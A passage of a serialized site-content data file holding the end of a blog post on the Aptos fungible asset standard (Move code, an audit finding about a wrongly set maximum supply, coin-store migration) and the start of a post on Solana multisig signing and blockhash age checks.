fungible_asset::mint_internal(metadata, amount)\n}\n",[73534],{"type":24,"tag":284,"props":73535,"children":73536},{"__ignoreMap":7},[73537,73565,73592,73628,73661,73694,73730],{"type":24,"tag":327,"props":73538,"children":73539},{"class":329,"line":330},[73540,73544,73548,73553,73557,73561],{"type":24,"tag":327,"props":73541,"children":73542},{"style":356},[73543],{"type":29,"value":68398},{"type":24,"tag":327,"props":73545,"children":73546},{"style":356},[73547],{"type":29,"value":13773},{"type":24,"tag":327,"props":73549,"children":73550},{"style":356},[73551],{"type":29,"value":73552}," coin_to_fungible_asset",{"type":24,"tag":327,"props":73554,"children":73555},{"style":346},[73556],{"type":29,"value":1596},{"type":24,"tag":327,"props":73558,"children":73559},{"style":1639},[73560],{"type":29,"value":14150},{"type":24,"tag":327,"props":73562,"children":73563},{"style":346},[73564],{"type":29,"value":14155},{"type":24,"tag":327,"props":73566,"children":73567},{"class":329,"line":367},[73568,73572,73576,73580,73584,73588],{"type":24,"tag":327,"props":73569,"children":73570},{"style":356},[73571],{"type":29,"value":67908},{"type":24,"tag":327,"props":73573,"children":73574},{"style":381},[73575],{"type":29,"value":1636},{"type":24,"tag":327,"props":73577,"children":73578},{"style":1639},[73579],{"type":29,"value":13370},{"type":24,"tag":327,"props":73581,"children":73582},{"style":346},[73583],{"type":29,"value":1596},{"type":24,"tag":327,"props":73585,"children":73586},{"style":1639},[73587],{"type":29,"value":14150},{"type":24,"tag":327,"props":73589,"children":73590},{"style":346},[73591],{"type":29,"value":9571},{"type":24,"tag":327,"props":73593,"children":73594},{"class":329,"line":408},[73595,73599,73603,73607,73611,73616,73620,73624],{"type":24,"tag":327,"props":73596,"children":73597},{"style":346},[73598],{"type":29,"value":3146},{"type":24,"tag":327,"props":73600,"children":73601},{"style":381},[73602],{"type":29,"value":1636},{"type":24,"tag":327,"props":73604,"children":73605},{"style":1639},[73606],{"type":29,"value":68263},{"type":24,"tag":327,"props":73608,"children":73609},{"style":356},[73610],{"type":29,"value":15129},{"type":24,"tag":327,"props":73612,"children":73613},{"style":1639},[73614],{"type":29,"value":73615}," CoinConversionMap",{"type":24,"tag":327,"props":73617,"children":73618},{"style":346},[73619],{"type":29,"value":2744},{"type":24,"tag":327,"props":73621,"children":73622},{"style":1639},[73623],{"type":29,"value":14279},{"type":24,"tag":327,"props":73625,"children":73626},{"style":346},[73627],{"type":29,"value":497},{"type":24,"tag":327,"props":73629,"children":73630},{"class":329,"line":421},[73631,73635,73640,73644,73649,73653,73657],{"type":24,"tag":327,"props":73632,"children":73633},{"style":334},[73634],{"type":29,"value":4794},{"type":24,"tag":327,"props":73636,"children":73637},{"style":356},[73638],{"type":29,"value":73639}," metadata",{"type":24,"tag":327,"props":73641,"children":73642},{"style":381},[73643],{"type":29,"value":4809},{"type":24,"tag":327,"props":73645,"children":73646},{"style":356},[73647],{"type":29,"value":73648}," ensure_paired_metadata",{"type":24,"tag":327,"props":73650,"children":73651},{"style":346},[73652],{"type":29,"value":1596},{"type":24,"tag":327,"props":73654,"children":73655},{"style":1639},[73656],{"type":29,"value":14150},{"type":24,"tag":327,"props":73658,"children":73659},{"style":346},[73660],{"type":29,"value":16012},{"type":24,"tag":327,"props":73662,"children":73663},{"class":329,"line":450},[73664,73668,73673,73677,73682,73686,73690],{"type":24,"tag":327,"props":73665,"children":73666},{"style":334},[73667],{"type":29,"value":4794},{"type":24,"tag":327,"props":73669,"children":73670},{"style":356},[73671],{"type":29,"value":73672}," amount",{"type":24,"tag":327,"props":73674,"children":73675},{"style":381},[73676],{"type":29,"value":4809},{"type":24,"tag":327,"props":73678,"children":73679},{"style":340},[73680],{"type":29,"value":73681}," burn_internal",{"type":24,"tag":327,"props":73683,"children":73684},{"style":346},[73685],{"type":29,"value":349},{"type":24,"tag":327,"props":73687,"children":73688},{"style":356},[73689],{"type":29,"value":67656},{"type":24,"tag":327,"props":73691,"children":73692},{"style":346},[73693],{"type":29,"value":583},{"type":24,"tag":327,"props":73695,"children":73696},{"class":329,"line":481},[73697,73701,73705,73710,73714,73718,73722,73726],{"type":24,"tag":327,"props":73698,"children":73699},{"style":346},[73700],{"type":29,"value":72684},{"type":24,"tag":327,"props":73702,"children":73703},{"style":381},[73704],{"type":29,"value":2407},{"type":24,"tag":327,"props":73706,"children":73707},{"style":340},[73708],{"type":29,"value":73709},"mint_internal",{"type":24,"tag":327,"props":73711,"children":73712},{"style":346},[73713],{"type":29,"value":349},{"type":24,"tag":327,"props":73715,"children":73716},{"style":356},[73717],{"type":29,"value":69035},{"type":24,"tag":327,"props":73719,"children":73720},{"style":346},[73721],{"type":29,"value":2744},{"type":24,"tag":327,"props":73723,"children":73724},{"style":356},[73725],{"type":29,"value":1660},{"type":24,"tag":327,"props":73727,"children":73728},{"style":346},[73729],{"type":29,"value":852},{"type":24,"tag":327,"props":73731,"children":73732},{"class":329,"line":500},[73733],{"type":24,"tag":327,"props":73734,"children":73735},{"style":346},[73736],{"type":29,"value":592},{"type":24,"tag":25,"props":73738,"children":73739},{},[73740,73742,73749],{"type":29,"value":73741},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":24,"tag":57,"props":73743,"children":73746},{"href":73744,"rel":73745},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[61],[73747],{"type":29,"value":73748},"noticed an overlooked detail",{"type":29,"value":73750}," in the linking process.",{"type":24,"tag":317,"props":73752,"children":73754},{"className":1553,"code":73753,"language":1552,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n    &metadata_object_cref,\n    option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n    name\u003CCoinType>(),\n    symbol\u003CCoinType>(),\n    decimals\u003CCoinType>(),\n    string::utf8(b\"\"),\n    string::utf8(b\"\"),\n);\n[...]\n",[73755],{"type":24,"tag":284,"props":73756,"children":73757},{"__ignoreMap":7},[73758,73773,73793,73810,73866,73887,73907,73927,73957,73984,73991],{"type":24,"tag":327,"props":73759,"children":73760},{"class":329,"line":330},[73761,73765,73769],{"type":24,"tag":327,"props":73762,"children":73763},{"style":346},[73764],{"type":29,"value":11329},{"type":24,"tag":327,"props":73766,"children":73767},{"style":381},[73768],{"type":29,"value":1922},{"type":24,"tag":327,"props":73770,"children":73771},{"style":346},[73772],{"type":29,"value":19319},{"type":24,"tag":327,"props":73774,"children":73775},{"class":329,"line":367},[73776,73780,73784,73789],{"type":24,"tag":327,"props":73777,"children":73778},{"style":346},[73779],{"type":29,"value":69332},{"type":24,"tag":327,"props":73781,"children":73782},{"style":381},[73783],{"type":29,"value":2407},{"type":24,"tag":327,"props":73785,"children":73786},{"style":340},[73787],{"type":29,"value":73788},"create_primary_store_enabled_fungible_asset",{"type":24,"tag":327,"props":73790,"children":73791},{"style":346},[73792],{"type":29,"value":4663},{"type":24,"tag":327,"props":73794,"children":73795},{"class":329,"line":408},[73796,73801,73806],{"type":24,"tag":327,"props":73797,"children":73798},{"style":381},[73799],{"type":29,"value":73800},"    &",{"type":24,"tag":327,"props":73802,"children":73803},{"style":356},[73804],{"type":29,"value":73805},"metadata_object_cref",{"type":24,"tag":327,"props":73807,"children":73808},{"style":346},[73809],{"type":29,"value":2231},{"type":24,"tag":327,"props":73811,"children":73812},{"class":329,"line":421},[73813,73818,73822,73827,73831,73836,73840,73844,73849,73853,73857,73861],{"type":24,"tag":327,"props":73814,"children":73815},{"style":346},[73816],{"type":29,"value":73817},"    option",{"type":24,"tag":327,"props":73819,"children":73820},{"style":381},[73821],{"type":29,"value":2407},{"type":24,"tag":327,"props":73823,"children":73824},{"style":340},[73825],{"type":29,"value":73826},"map",{"type":24,"tag":327,"props":73828,"children":73829},{"style":346},[73830],{"type":29,"value":349},{"type":24,"tag":327,"props":73832,"children":73833},{"style":356},[73834],{"type":29,"value":73835},"coin_supply",{"type":24,"tag":327,"props":73837,"children":73838},{"style":346},[73839],{"type":29,"value":1596},{"type":24,"tag":327,"props":73841,"children":73842},{"style":1639},[73843],{"type":29,"value":14150},{"type":24,"tag":327,"props":73845,"children":73846},{"style":346},[73847],{"type":29,"value":73848},">(), ",{"type":24,"tag":327,"props":73850,"children":73851},{"style":381},[73852],{"type":29,"value":17963},{"type":24,"tag":327,"props":73854,"children":73855},{"style":356},[73856],{"type":29,"value":10692},{"type":24,"tag":327,"props":73858,"children":73859},{"style":381},[73860],{"type":29,"value":17963},{"type":24,"tag":327,"props":73862,"children":73863},{"style":346},[73864],{"type":29,"value":73865}," MAX_U128),\n",{"type":24,"tag":327,"props":73867,"children":73868},{"class":329,"line":450},[73869,73874,73878,73882],{"type":24,"tag":327,"props":73870,"children":73871},{"style":356},[73872],{"type":29,"value":73873},"    name",{"type":24,"tag":327,"props":73875,"children":73876},{"style":346},[73877],{"type":29,"value":1596},{"type":24,"tag":327,"props":73879,"children":73880},{"style":1639},[73881],{"type":29,"value":14150},{"type":24,"tag":327,"props":73883,"children":73884},{"style":346},[73885],{"type":29,"value":73886},">(),\n",{"type":24,"tag":327,"props":73888,"children":73889},{"class":329,"line":481},[73890,73895,73899,73903],{"type":24,"tag":327,"props":73891,"children":73892},{"style":356},[73893],{"type":29,"value":73894},"    symbol",{"type":24,"tag":327,"props":73896,"children":73897},{"style":346},[73898],{"type":29,"value":1596},{"type":24,"tag":327,"props":73900,"children":73901},{"style":1639},[73902],{"type":29,"value":14150},{"type":24,"tag":327,"props":73904,"children":73905},{"style":346},[73906],{"type":29,"value":73886},{"type":24,"tag":327,"props":73908,"children":73909},{"class":329,"line":500},[73910,73915,73919,73923],{"type":24,"tag":327,"props":73911,"children":73912},{"style":356},[73913],{"type":29,"value":73914},"    decimals",{"type":24,"tag":327,"props":73916,"children":73917},{"style":346},[73918],{"type":29,"value":1596},{"type":24,"tag":327,"props":73920,"children":73921},{"style":1639},[73922],{"type":29,"value":14150},{"type":24,"tag":327,"props":73924,"children":73925},{"style":346},[73926],{"type":29,"value":73886},{"type":24,"tag":327,"props":73928,"children":73929},{"class":329,"line":529},[73930,73935,73939,73944,73948,73953],{"type":24,"tag":327,"props":73931,"children":73932},{"style":346},[73933],{"type":29,"value":73934},"    string",{"type":24,"tag":327,"props":73936,"children":73937},{"style":381},[73938],{"type":29,"value":2407},{"type":24,"tag":327,"props":73940,"children":73941},{"style":340},[73942],{"type":29,"value":73943},"utf8",{"type":24,"tag":327,"props":73945,"children":73946},{"style":346},[73947],{"type":29,"value":349},{"type":24,"tag":327,"props":73949,"children":73950},{"style":844},[73951],{"type":29,"value":73952},"b\"\"",{"type":24,"tag":327,"props":73954,"children":73955},{"style":346},[73956],{"type":29,"value":9212},{"type":24,"tag":327,"props":73958,"children":73959},{"class":329,"line":538},[73960,73964,73968,73972,73976,73980],{"type":24,"tag":327,"props":73961,"children":73962},{"style":346},[73963],{"type":29,"value":73934},{"type":24,"tag":327,"props":73965,"children":73966},{"style":381},[73967],{"type":29,"value":2407},{"type":24,"tag":327,"props":73969,"children":73970},{"style":340},[73971],{"type":29,"value":73943},{"type":24,"tag":327,"props":73973,"children":73974},{"style":346},[73975],{"type":29,"value":349},{"type":24,"tag":327,"props":73977,"children":73978},{"style":844},[73979],{"type":29,"value":73952},{"type":24,"tag":327,"props":73981,"children":73982},{"style":346},[73983],{"type":29,"value":9212},{"type":24,"tag":327,"props":73985,"children":73986},{"class":329,"line":547},[73987],{"type":24,"tag":327,"props":73988,"children":73989},{"style":346},[73990],{"type":29,"value":583},{"type":24,"tag":327,"props":73992,"children":73993},{"class":329,"line":557},[73994,73998,74002],{"type":24,"tag":327,"props":73995,"children":73996},{"style":346},[73997],{"type":29,"value":11329},{"type":24,"tag":327,"props":73999,"children":74000},{"style":381},[74001],{"type":29,"value":1922},{"type":24,"tag":327,"props":74003,"children":74004},{"style":346},[74005],{"type":29,"value":19319},{"type":24,"tag":25,"props":74007,"children":74008},{},[74009,74011,74016],{"type":29,"value":74010},"When the linked fungible asset was created, the current ",{"type":24,"tag":284,"props":74012,"children":74014},{"className":74013},[],[74015],{"type":29,"value":67689},{"type":29,"value":74017}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":24,"tag":25,"props":74019,"children":74020},{},[74021,74023,74028,74030,74036,74038,74043],{"type":29,"value":74022},"Users can manually migrate their ",{"type":24,"tag":284,"props":74024,"children":74026},{"className":74025},[],[74027],{"type":29,"value":67851},{"type":29,"value":74029}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":24,"tag":284,"props":74031,"children":74033},{"className":74032},[],[74034],{"type":29,"value":74035},"\u003CCoinStore\u003CCoinType>>",{"type":29,"value":74037}," from the caller. All coins in the ",{"type":24,"tag":284,"props":74039,"children":74041},{"className":74040},[],[74042],{"type":29,"value":67851},{"type":29,"value":74044}," are exchanged and transferred to the new store during the migration.",{"type":24,"tag":317,"props":74046,"children":74048},{"className":1553,"code":74047,"language":1552,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n    account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n    maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[74049],{"type":24,"tag":284,"props":74050,"children":74051},{"__ignoreMap":7},[74052,74060,74092,74112,74148,74189],{"type":24,"tag":327,"props":74053,"children":74054},{"class":329,"line":330},[74055],{"type":24,"tag":327,"props":74056,"children":74057},{"style":551},[74058],{"type":29,"value":74059},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":24,"tag":327,"props":74061,"children":74062},{"class":329,"line":367},[74063,74067,74071,74075,74080,74084,74088],{"type":24,"tag":327,"props":74064,"children":74065},{"style":356},[74066],{"type":29,"value":68398},{"type":24,"tag":327,"props":74068,"children":74069},{"style":356},[74070],{"type":29,"value":69365},{"type":24,"tag":327,"props":74072,"children":74073},{"style":356},[74074],{"type":29,"value":13773},{"type":24,"tag":327,"props":74076,"children":74077},{"style":356},[74078],{"type":29,"value":74079}," migrate_to_fungible_store",{"type":24,"tag":327,"props":74081,"children":74082},{"style":346},[74083],{"type":29,"value":1596},{"type":24,"tag":327,"props":74085,"children":74086},{"style":1639},[74087],{"type":29,"value":14150},{"type":24,"tag":327,"props":74089,"children":74090},{"style":346},[74091],{"type":29,"value":14155},{"type":24,"tag":327,"props":74093,"children":74094},{"class":329,"line":408},[74095,74099,74103,74107],{"type":24,"tag":327,"props":74096,"children":74097},{"style":356},[74098],{"type":29,"value":6626},{"type":24,"tag":327,"props":74100,"children":74101},{"style":381},[74102],{"type":29,"value":1636},{"type":24,"tag":327,"props":74104,"children":74105},{"style":381},[74106],{"type":29,"value":14704},{"type":24,"tag":327,"props":74108,"children":74109},{"style":356},[74110],{"type":29,"value":74111},"signer\n",{"type":24,"tag":327,"props":74113,"children":74114},{"class":329,"line":421},[74115,74119,74123,74127,74131,74136,74140,74144],{"type":24,"tag":327,"props":74116,"children":74117},{"style":346},[74118],{"type":29,"value":1674},{"type":24,"tag":327,"props":74120,"children":74121},{"style":356},[74122],{"type":29,"value":13910},{"type":24,"tag":327,"props":74124,"children":74125},{"style":1639},[74126],{"type":29,"value":67872},{"type":24,"tag":327,"props":74128,"children":74129},{"style":346},[74130],{"type":29,"value":2744},{"type":24,"tag":327,"props":74132,"children":74133},{"style":1639},[74134],{"type":29,"value":74135},"CoinConversionMap",{"type":24,"tag":327,"props":74137,"children":74138},{"style":346},[74139],{"type":29,"value":2744},{"type":24,"tag":327,"props":74141,"children":74142},{"style":1639},[74143],{"type":29,"value":14279},{"type":24,"tag":327,"props":74145,"children":74146},{"style":346},[74147],{"type":29,"value":497},{"type":24,"tag":327,"props":74149,"children":74150},{"class":329,"line":450},[74151,74156,74160,74164,74169,74173,74177,74181,74185],{"type":24,"tag":327,"props":74152,"children":74153},{"style":356},[74154],{"type":29,"value":74155},"    maybe_convert_to_fungible_store",{"type":24,"tag":327,"props":74157,"children":74158},{"style":346},[74159],{"type":29,"value":1596},{"type":24,"tag":327,"props":74161,"children":74162},{"style":1639},[74163],{"type":29,"value":14150},{"type":24,"tag":327,"props":74165,"children":74166},{"style":346},[74167],{"type":29,"value":74168},">(signer",{"type":24,"tag":327,"props":74170,"children":74171},{"style":381},[74172],{"type":29,"value":2407},{"type":24,"tag":327,"props":74174,"children":74175},{"style":340},[74176],{"type":29,"value":14772},{"type":24,"tag":327,"props":74178,"children":74179},{"style":346},[74180],{"type":29,"value":349},{"type":24,"tag":327,"props":74182,"children":74183},{"style":356},[74184],{"type":29,"value":20497},{"type":24,"tag":327,"props":74186,"children":74187},{"style":346},[74188],{"type":29,"value":14786},{"type":24,"tag":327,"props":74190,"children":74191},{"class":329,"line":481},[74192],{"type":24,"tag":327,"props":74193,"children":74194},{"style":346},[74195],{"type":29,"value":592},{"type":24,"tag":25,"props":74197,"children":74198},{},[74199,74201,74206,74208,74213],{"type":29,"value":74200},"A curious reader might wonder about the fate of the ",{"type":24,"tag":284,"props":74202,"children":74204},{"className":74203},[],[74205],{"type":29,"value":67851},{"type":29,"value":74207}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":24,"tag":284,"props":74209,"children":74211},{"className":74210},[],[74212],{"type":29,"value":67851},{"type":29,"value":74214}," to ensure consistency.",{"type":24,"tag":72909,"props":74216,"children":74217},{},[74218,74237],{"type":24,"tag":25,"props":74219,"children":74220},{},[74221,74223,74228,74230,74235],{"type":29,"value":74222},"Could an attacker convert their ",{"type":24,"tag":284,"props":74224,"children":74226},{"className":74225},[],[74227],{"type":29,"value":67851},{"type":29,"value":74229}," to a primary fungible store and then register another ",{"type":24,"tag":284,"props":74231,"children":74233},{"className":74232},[],[74234],{"type":29,"value":67851},{"type":29,"value":74236}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":24,"tag":72940,"props":74238,"children":74239},{"v-slot:answer-0":7},[74240],{"type":24,"tag":25,"props":74241,"children":74242},{},[74243],{"type":29,"value":74244},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":24,"tag":228,"props":74246,"children":74247},{"id":10412},[74248],{"type":29,"value":226},{"type":24,"tag":25,"props":74250,"children":74251},{},[74252,74254,74259],{"type":29,"value":74253},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":24,"tag":284,"props":74255,"children":74257},{"className":74256},[],[74258],{"type":29,"value":67689},{"type":29,"value":66},{"type":24,"tag":25,"props":74261,"children":74262},{},[74263],{"type":29,"value":74264},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":24,"tag":25,"props":74266,"children":74267},{},[74268,74270],{"type":29,"value":74269},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":24,"tag":22996,"props":74271,"children":74272},{},[74273],{"type":24,"tag":57,"props":74274,"children":74276},{"href":36332,"ariaDescribedBy":74275,"dataFootnoteRef":7,"id":36334},[23003],[74277],{"type":29,"value":3238},{"type":24,"tag":25932,"props":74279,"children":74281},{"className":74280,"dataFootnotes":7},[25935],[74282,74287],{"type":24,"tag":228,"props":74283,"children":74285},{"className":74284,"id":23003},[25940],[74286],{"type":29,"value":25943},{"type":24,"tag":175,"props":74288,"children":74289},{},[74290],{"type":24,"tag":179,"props":74291,"children":74292},{"id":37075},[74293,74295,74337],{"type":29,"value":74294},"There are at least four functions that can withdraw a fungible asset:",{"type":24,"tag":1380,"props":74296,"children":74297},{},[74298,74308,74317,74327],{"type":24,"tag":179,"props":74299,"children":74300},{},[74301],{"type":24,"tag":57,"props":74302,"children":74306},{"href":74303,"rel":74304,":style":74305},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[61],"color: #007bff;",[74307],{"type":29,"value":70990},{"type":24,"tag":179,"props":74309,"children":74310},{},[74311],{"type":24,"tag":57,"props":74312,"children":74315},{"href":74313,"rel":74314,":style":74305},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[61],[74316],{"type":29,"value":72930},{"type":24,"tag":179,"props":74318,"children":74319},{},[74320],{"type":24,"tag":57,"props":74321,"children":74324},{"href":74322,"rel":74323,":style":74305},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[61],[74325],{"type":29,"value":74326},"primary_fungible_store::withdraw",{"type":24,"tag":179,"props":74328,"children":74329},{},[74330],{"type":24,"tag":57,"props":74331,"children":74334},{"href":74332,"rel":74333,":style":74305},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[61],[74335],{"type":29,"value":74336},"coin::withdraw",{"type":24,"tag":57,"props":74338,"children":74340},{"href":37103,"ariaLabel":26046,"className":74339,"dataFootnoteBackref":7},[26048],[74341],{"type":29,"value":26051},{"type":24,"tag":10448,"props":74343,"children":74344},{},[74345],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":74347},[74348,74349,74350,74353,74358,74359,74360,74361],{"id":67675,"depth":367,"text":67678},{"id":68220,"depth":367,"text":68223},{"id":68780,"depth":367,"text":68783,"children":74351},[74352],{"id":69291,"depth":408,"text":69294},{"id":69548,"depth":367,"text":69551,"children":74354},[74355,74356,74357],{"id":69591,"depth":408,"text":69594},{"id":70296,"depth":408,"text":70299},{"id":71954,"depth":408,"text":71957},{"id":72485,"depth":367,"text":72488},{"id":73466,"depth":367,"text":73469},{"id":10412,"depth":367,"text":226},{"id":23003,"depth":367,"text":25943},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":74366,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":74367,"description":74368,"date":74369,"author":13288,"image":74370,"isFeatured":16,"onBlogPage":16,"tags":74372,"body":74373,"_type":10481,"_id":76201,"_source":10483,"_file":76202,"_stem":76203,"_extension":10486},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":74371,"width":12953,"height":12954},"/posts/multisig-security/title.png",[18],{"type":21,"children":74374,"toc":76192},[74375,74388,74394,74399,74405,74418,74426,74439,74499,74521,74648,74653,74666,74678,74684,74698,74711,74725,75207,75212,75220,75234,75248,75387,75399,75405,75410,75428,75433,75438,75459,75743,75758,75946,75959,76088,76093,76098,76103,76131,76137,76142,76156,76188],{"type":24,"tag":25,"props":74376,"children":74377},{},[74378,74379,74386],{"type":29,"value":1713},{"type":24,"tag":57,"props":74380,"children":74383},{"href":74381,"rel":74382},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[61],[74384],{"type":29,"value":74385},"Bybit hack",{"type":29,"value":74387}," raises an interesting question: what can teams do if their signers are compromised?",{"type":24,"tag":228,"props":74389,"children":74391},{"id":74390},"solana-signatures",[74392],{"type":29,"value":74393},"Solana Signatures",{"type":24,"tag":25,"props":74395,"children":74396},{},[74397],{"type":29,"value":74398},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":24,"tag":235,"props":74400,"children":74402},{"id":74401},"recent-blockhash",[74403],{"type":29,"value":74404},"Recent Blockhash",{"type":24,"tag":25,"props":74406,"children":74407},{},[74408,74410,74417],{"type":29,"value":74409},"The most straightforward is with a \"recent blockhash\". From ",{"type":24,"tag":57,"props":74411,"children":74414},{"href":74412,"rel":74413},"https://solana.com/developers/guides/advanced/confirmation",[61],[74415],{"type":29,"value":74416},"the docs",{"type":29,"value":1636},{"type":24,"tag":1706,"props":74419,"children":74420},{},[74421],{"type":24,"tag":25,"props":74422,"children":74423},{},[74424],{"type":29,"value":74425},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":24,"tag":25,"props":74427,"children":74428},{},[74429,74431,74438],{"type":29,"value":74430},"The actual constant ",{"type":24,"tag":57,"props":74432,"children":74435},{"href":74433,"rel":74434},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[61],[74436],{"type":29,"value":74437},"is defined here",{"type":29,"value":66},{"type":24,"tag":317,"props":74440,"children":74442},{"className":1553,"code":74441,"language":1552,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[74443],{"type":24,"tag":284,"props":74444,"children":74445},{"__ignoreMap":7},[74446,74454],{"type":24,"tag":327,"props":74447,"children":74448},{"class":329,"line":330},[74449],{"type":24,"tag":327,"props":74450,"children":74451},{"style":551},[74452],{"type":29,"value":74453},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":24,"tag":327,"props":74455,"children":74456},{"class":329,"line":367},[74457,74461,74465,74470,74474,74478,74482,74487,74491,74495],{"type":24,"tag":327,"props":74458,"children":74459},{"style":334},[74460],{"type":29,"value":2524},{"type":24,"tag":327,"props":74462,"children":74463},{"style":334},[74464],{"type":29,"value":45824},{"type":24,"tag":327,"props":74466,"children":74467},{"style":346},[74468],{"type":29,"value":74469}," MAX_PROCESSING_AGE",{"type":24,"tag":327,"props":74471,"children":74472},{"style":381},[74473],{"type":29,"value":1636},{"type":24,"tag":327,"props":74475,"children":74476},{"style":1639},[74477],{"type":29,"value":2422},{"type":24,"tag":327,"props":74479,"children":74480},{"style":381},[74481],{"type":29,"value":4809},{"type":24,"tag":327,"props":74483,"children":74484},{"style":346},[74485],{"type":29,"value":74486}," MAX_RECENT_BLOCKHASHES ",{"type":24,"tag":327,"props":74488,"children":74489},{"style":381},[74490],{"type":29,"value":2899},{"type":24,"tag":327,"props":74492,"children":74493},{"style":397},[74494],{"type":29,"value":474},{"type":24,"tag":327,"props":74496,"children":74497},{"style":346},[74498],{"type":29,"value":405},{"type":24,"tag":25,"props":74500,"children":74501},{},[74502,74504,74511,74513,74519],{"type":29,"value":74503},"For those curious, the logic ",{"type":24,"tag":57,"props":74505,"children":74508},{"href":74506,"rel":74507},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[61],[74509],{"type":29,"value":74510},"starts here",{"type":29,"value":74512}," and is quite straightforward to follow, ending in a ",{"type":24,"tag":284,"props":74514,"children":74516},{"className":74515},[],[74517],{"type":29,"value":74518},"is_hash_index_valid",{"type":29,"value":74520}," check.",{"type":24,"tag":317,"props":74522,"children":74524},{"className":1553,"code":74523,"language":1552,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n    last_hash_index - hash_index \u003C= max_age as u64\n}\n",[74525],{"type":24,"tag":284,"props":74526,"children":74527},{"__ignoreMap":7},[74528,74607,74641],{"type":24,"tag":327,"props":74529,"children":74530},{"class":329,"line":330},[74531,74535,74540,74544,74549,74553,74557,74561,74566,74570,74574,74578,74583,74587,74591,74595,74599,74603],{"type":24,"tag":327,"props":74532,"children":74533},{"style":334},[74534],{"type":29,"value":1617},{"type":24,"tag":327,"props":74536,"children":74537},{"style":340},[74538],{"type":29,"value":74539}," is_hash_index_valid",{"type":24,"tag":327,"props":74541,"children":74542},{"style":346},[74543],{"type":29,"value":349},{"type":24,"tag":327,"props":74545,"children":74546},{"style":356},[74547],{"type":29,"value":74548},"last_hash_index",{"type":24,"tag":327,"props":74550,"children":74551},{"style":381},[74552],{"type":29,"value":1636},{"type":24,"tag":327,"props":74554,"children":74555},{"style":1639},[74556],{"type":29,"value":1669},{"type":24,"tag":327,"props":74558,"children":74559},{"style":346},[74560],{"type":29,"value":2744},{"type":24,"tag":327,"props":74562,"children":74563},{"style":356},[74564],{"type":29,"value":74565},"max_age",{"type":24,"tag":327,"props":74567,"children":74568},{"style":381},[74569],{"type":29,"value":1636},{"type":24,"tag":327,"props":74571,"children":74572},{"style":1639},[74573],{"type":29,"value":2422},{"type":24,"tag":327,"props":74575,"children":74576},{"style":346},[74577],{"type":29,"value":2744},{"type":24,"tag":327,"props":74579,"children":74580},{"style":356},[74581],{"type":29,"value":74582},"hash_index",{"type":24,"tag":327,"props":74584,"children":74585},{"style":381},[74586],{"type":29,"value":1636},{"type":24,"tag":327,"props":74588,"children":74589},{"style":1639},[74590],{"type":29,"value":1669},{"type":24,"tag":327,"props":74592,"children":74593},{"style":346},[74594],{"type":29,"value":1674},{"type":24,"tag":327,"props":74596,"children":74597},{"style":381},[74598],{"type":29,"value":1679},{"type":24,"tag":327,"props":74600,"children":74601},{"style":1639},[74602],{"type":29,"value":1935},{"type":24,"tag":327,"props":74604,"children":74605},{"style":346},[74606],{"type":29,"value":497},{"type":24,"tag":327,"props":74608,"children":74609},{"class":329,"line":367},[74610,74615,74619,74624,74628,74633,74637],{"type":24,"tag":327,"props":74611,"children":74612},{"style":356},[74613],{"type":29,"value":74614},"    